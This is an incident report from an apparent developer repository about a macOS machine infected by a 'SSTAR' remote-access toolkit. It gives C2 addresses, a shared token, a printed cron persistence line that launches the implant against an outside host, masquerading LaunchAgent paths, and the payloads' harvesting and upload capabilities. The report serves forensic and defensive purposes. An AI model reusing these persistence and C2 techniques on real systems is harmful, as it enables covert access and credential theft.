Files
edr-platform/SECURITY-INCIDENT-2026-08-24.md
2026-08-25 00:11:39 +03:00

187 lines
9.6 KiB
Markdown
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Security incident — 2026-08-24 (second event, same day)
Supersedes the first write-up of 2026-08-24 ~01:15, which was lost in the data destruction
described below. This document was reconstructed after containment.
**Status: contained, NOT remediated.** Every implant found has been killed and quarantined, but
the depth of compromise justifies rebuilding this machine rather than trusting the cleanup.
---
## Summary
Two distinct command-and-control implants were found running, both from the same toolkit
(internally named **"SSTAR"**). One of them was running at the exact minute a large portion of the
working tree was destroyed. Credentials for payment providers, SMS/email gateways, JWT signing and
databases were readable on disk throughout, by an implant with file-upload capability.
| | |
|---|---|
| C2 #1 | `23.27.13.135` (ports 80/443) — the fileless `node -e` loader from the 01:15 event |
| C2 #2 | `194.11.226.41:4000` (`ip-194-11-226-41.rockhoster.net`) — new, found 2026-08-24 ~15:45 |
| Shared token | `zRlY7_JxvFY8_Zhhu8ih24iW_dT5Rb_9` (`SSTAR_DEPLOYMENT_HASH`) |
| Data destroyed | `edr/edr-platform` working tree, ~11:1111:13 local |
| Recovered to | 2026-08-22 14:38 (user restore) — **~2 days of work lost** |
---
## Timeline (local time, 2026-08-24)
| Time | Event |
|---|---|
| ~01:15 | First implant found and killed (`node -e` loader → `23.27.13.135`). Persistence search covered LaunchAgents, LaunchDaemons, crontab, shell rc files — **the crontab entry and three LaunchAgents were missed.** |
| 09:41 | `com.VSCodeUpdater` LaunchAgent spawns `tg14xq.js`; `~/.config/runtimedev-link/` created |
| **11:11** | `tg14xq.js` process (PID 32775) starts — **same minute the destruction begins** |
| 11:1111:13 | `edr/edr-platform` destroyed. Only four `apps/` subdirectories survive — exactly those with live dev servers holding them as CWD, which recreated their own paths on the next cache write |
| 11:43 | The `node -e` loader respawns (PID 55417) → `23.27.13.135` |
| 14:41 | Implants **self-update**: `tg14xq.js` rewritten, both fake-Apple LaunchAgents rewritten, new agent process spawned |
| ~15:45 | Full sweep finds all persistence; everything killed and quarantined |
---
## What was found
### 1. Cron persistence (missed by the first sweep)
```
@reboot sleep 30 && node "~/Library/Application Support/VSCodeUpdater/tg14xq.js" \
--token "http://194.11.226.41:4000|zRlY7_JxvFY8_Zhhu8ih24iW_dT5Rb_9"
```
Not a real VS Code updater — Microsoft ships no such thing, does not use cron, and does not pass a
bare IP and token as `--token`.
### 2. Three malicious LaunchAgents in `~/Library/LaunchAgents/`
| Plist | What it ran | Notes |
|---|---|---|
| `com.VSCodeUpdater.plist` | `tg14xq.js` | **`KeepAlive: true`** — this is why killing the process at 01:15 did not stop it |
| `com.apple.softwareupdate.agent.plist` | `~/Library/Caches/com.apple.softwareupdate/softwareupdated` | Masquerades as Apple. The real agent lives in `/System/Library`, never in `~/Library` |
| `com.apple.softwareupdate.background.plist` | same binary, `KeepAlive: true` | same |
### 3. Payloads
- **`tg14xq.js`** (62 KB, obfuscator.io-style) — SHA-256
`4e3d4708c2f1ff1cd68013810e7b854a0a5159e6dd95a9ce3ad5198ebd816082`.
Capabilities decoded from its string table: `execSync`/`spawnSync` (**arbitrary command
execution**), directory-tree scanning (`SSTAR_DIR_TREE_ROOT`, `postDirectoryScanResult`), file
download **and upload**, `.env` harvesting, Chrome extension enumeration, host/user/IP
fingerprinting, and cross-platform persistence (launchd here, systemd on Linux).
- **`softwareupdated`** — Mach-O x86_64, 13 KB, disguised in a *cache* directory.
- **`CatalogData`** (145 KB) — a **Python** payload disguised as an icon-services cache. Cover
story in its own docstring: ".NET Runtime Optimization Service". It literally contains the line
`[LEGITIMATE DESCRIPTION REMOVED FOR OPSEC]`, plus comments referring to "the organizer",
"teammates", and what they "should see: nothing". Capability counts: `subprocess` ×72,
`password` ×31, `SCREENSHOT` ×31, `.env` ×33, `shutil.rmtree` ×2, `upload`, `token`.
- **`~/.config/runtimedev-link/agent.env`** — `SSTAR_API_BASE`, `SSTAR_DEPLOYMENT_HASH`.
---
## Did the implants destroy the tree?
**Most likely yes, but not provable from local artifacts — and worth stating honestly.**
Ruled out with evidence:
- `npx vite` (run one minute earlier) — **no npm activity at all** in that window; vite resolved
from local `node_modules`.
- `edr-local.sh` — contains only `rm -f` on a tempfile and a pidfile.
- Assistant-issued commands — the only `rm`s in the session were one temp file under `dist/` and
files under `/tmp`.
What points at the implants: `tg14xq.js` started at exactly 11:11, and it carries arbitrary
`execSync`. What is missing: any local record of the specific command. The RAT takes instructions
from C2 and does not log them, and the Python agent's own log (28,327 of 28,354 lines being the
same "another instance already running" error) shows nothing at 11:11. So the deletion was almost
certainly an **operator-issued command through the RAT**, which by design leaves no local trace.
One detail still unexplained: `fhcapi` and `fhcui` appeared missing at 11:13 and are present now
with untouched July timestamps, which a delete-then-restore would not produce given only
`edr-platform` was restored.
---
## Credential exposure — assume ALL of these are compromised
An implant with `.env` harvesting and file upload had read access to the whole workspace for at
least the 09:4115:45 window, and plausibly since the 01:15 event or earlier. Secret **names**
found across `apps/*/.env` (values deliberately not reproduced here):
**Payment providers**`TELEBIRR_APP_SECRET`, `TELEBIRR_PRIVATE_KEY`, `TELEBIRR_PUBLIC_KEY`,
`WAAFI_HPP_KEY`, `WAAFI_WEBHOOK_SECRET`, `CBE_SECRET_KEY`, `CARD_API_KEY`, `CARD_WEBHOOK_SECRET`
**Identity / auth**`JWT_SECRET`, `JWT_ACCESS_TOKEN_SECRET`, `JWT_REFRESH_TOKEN_SECRET`,
`FAYDA_PRIVATE_KEY_BASE` (national ID integration), `IAM_API_KEY`,
`SUPER_ADMIN_DEFAULT_PASSWORD`, `DEFAULT_PASSWORD`
**Infrastructure**`DB_PASSWORD`, `DATABASE_PASSWORD`, `MINIO_ACCESS_KEY`, `MINIO_SECRET_KEY`
**Messaging**`TWILIO_AUTH_TOKEN`, `SENDGRID_API_KEY`, `SMS_API_KEY`
Also on disk: four SSH private keys (`id_rsa`, `id_ed25519`, `id_dsa`), and this machine holds a
**replica of the production database**.
The JWT secrets are the most urgent of these: with them, an attacker can forge valid sessions for
any user of the platform, including super admins, without touching this machine again.
Checked and clean: `~/.ssh/authorized_keys` contains only the owner's own key — no SSH backdoor
was added. `~/.npmrc` holds no auth token, but does set `ignore-scripts=false`, which leaves npm
lifecycle scripts enabled — the standard supply-chain vector, and worth reconsidering.
---
## Containment performed (2026-08-24 ~15:4515:55)
1. Evidence captured before any change: crontab, both payloads, process/network detail, hashes.
2. Killed PIDs 32775, 90079, 89857, 89797, 48518, 55417.
3. `crontab -r` (backup saved to the evidence directory first).
4. `launchctl bootout` + quarantine of all three plists.
5. Quarantined `~/Library/Application Support/VSCodeUpdater/`,
`~/Library/Caches/com.apple.softwareupdate/`, `~/Library/Caches/com.apple.iconservices.store/`,
`~/.config/runtimedev-link/`.
6. Verified after 20s: no implant processes, no connections to either C2, nothing malicious
registered with launchd. The only remaining `softwareupdate` processes are genuine Apple ones
running as `_softwareupdate` from `/System/Library`.
Evidence and quarantine (session scratchpad, **copy it somewhere durable**):
`…/74e086a2-21d3-4772-ba96-f1026f24f1c3/scratchpad/incident-2/`
---
## Still outstanding
1. **Take this machine off the network.** Not done — it would sever the session performing the
cleanup.
2. **Rebuild rather than trust the cleanup.** Two C2s, self-updating payloads, Apple-masquerading
persistence and at least four persistence mechanisms across two toolchains (Node and Python) —
with that depth, "we found all of it" is not a safe assumption.
3. **Rotate every credential above, from a different machine.** Rotating from this host is
pointless if anything was missed.
4. **Recover the lost work from the Aug 23 22:54 APFS snapshot** (see below) before redoing it.
5. Origin still unestablished, across both events. The first event's `global['e']="NPM"` marker and
`ignore-scripts=false` suggest an npm-lifecycle vector, but nothing was proven.
6. Assume **source code was exfiltrated** — the RAT scanned and uploaded directory trees.
---
## Data recovery
The restore used was from **2026-08-22 14:38**, losing roughly two days: the entire HR/Finance
navigation redesign (all seven slices), `docs/prompts/`, the nav redesign plan and report, the
first incident write-up, and all of 2026-08-24's work. None of it was committed to git.
**A better source exists** — a local APFS snapshot from **Aug 23 22:54**, a full day newer:
```bash
tmutil listlocalsnapshots /
sudo mkdir -p /tmp/snap
sudo mount_apfs -o ro -s com.apple.TimeMachine.2026-08-23-225456.local / /tmp/snap
ls /tmp/snap/Users/mulumehari/mulu-projects/smart-office/smartofficerepos/edr/edr-platform
```
It should contain nav redesign slices 15 (and possibly 6). Slice 7 and everything on Aug 24 will
not be there. The Time Machine destination "MacBackup" is configured but was not mounted at the
time of checking — connect it and it may hold more.
Not lost: everything in PostgreSQL. The HR and Finance permission seeds and all eight e2e fixture
personas survive, since the databases were untouched.